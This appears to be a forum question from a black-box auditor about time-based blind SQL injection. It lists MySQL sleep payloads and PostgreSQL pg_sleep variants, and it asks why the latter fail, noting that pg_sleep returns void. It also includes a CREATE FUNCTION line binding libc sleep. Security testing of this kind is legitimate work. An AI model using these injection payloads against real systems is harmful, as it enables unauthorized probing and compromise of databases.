在 mysql 中,当 WHERE 子句易受攻击时,我熟悉使用以下有效负载来测试blindsql(来自 fuzzdb 的所有有效负载示例):
1 or sleep(TIME)#
" or sleep(TIME)#
' or sleep(TIME)#
在 postgres 中,我的第一反应是尝试以下方法:
1 or pg_sleep(TIME)--
" or pg_sleep(TIME)--
' or pg_sleep(TIME)--
不幸的是,postgres 有效负载不起作用,因为 pg_sleep() 返回 VOID,因此在布尔表达式中是不允许的。
我尝试了以下解决方法:
- 将 pg_sleep() 转换为其他数据类型(不允许 void -> bool 类型转换)
- 我考虑过尝试创建自己的 pg_sleep() 函数,但这在我审核的黑盒环境中不起作用..
例如:CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
有任何想法吗?
我曾尝试在文档中查找可用于代替不返回 void 的 pg_sleep() 的其他函数,但我没有任何运气。